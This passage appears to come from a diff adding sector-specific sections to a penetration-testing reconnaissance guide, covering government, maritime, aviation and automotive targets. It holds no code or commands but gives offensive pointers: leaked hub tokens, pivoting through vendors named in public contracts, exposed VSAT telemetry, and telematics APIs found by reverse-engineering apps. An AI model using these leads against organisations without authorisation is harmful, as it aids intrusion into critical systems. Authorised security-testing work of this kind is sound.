+- **Smart-home hubs** — exposed APIs sometimes leak auth tokens.
+
+### 47.5 Government
+
+- **`.gov` and `.mil` domains** require special engagement-scope discipline.
+- **FedRAMP / FISMA / DoD CMMC** — identify applicable requirements, not an assumed security posture.
+- **OSINT data sources:** USAspending.gov, SAM.gov (System for Award Management), FBO.gov / sam.gov (procurement).
+- **Common findings:** vendor of record disclosed in public contracts → adjacent-vendor pivot.
+- **Severity:** depends on demonstrated technical impact and data sensitivity; jurisdiction and reporting obligations must be evaluated separately.
+
+### 47.6 Maritime / Aviation / Auto
+
+- **Maritime:** AIS (Automatic Identification System) — vessel positions; tools MarineTraffic, VesselFinder. Engine telemetry sometimes exposed via VSAT.
+- **Aviation:** ADS-B (already covered §32.3); operator/airline-specific OPS data sometimes exposed.
+- **Automotive:** OEM telematics backends (Tesla, GM OnStar, etc.) — typically authenticated, but APIs leak via mobile-app reverse engineering.
+
+### 47.7 Universal sector caveat
+
+**Most external recon techniques apply universally.** Sector-specific protocols add attack surface; sector-specific compliance regimes add reporting requirements. Don't assume "healthcare/finance/etc. has different OSINT" — the OSINT is the same; the targeted services differ.
+
+---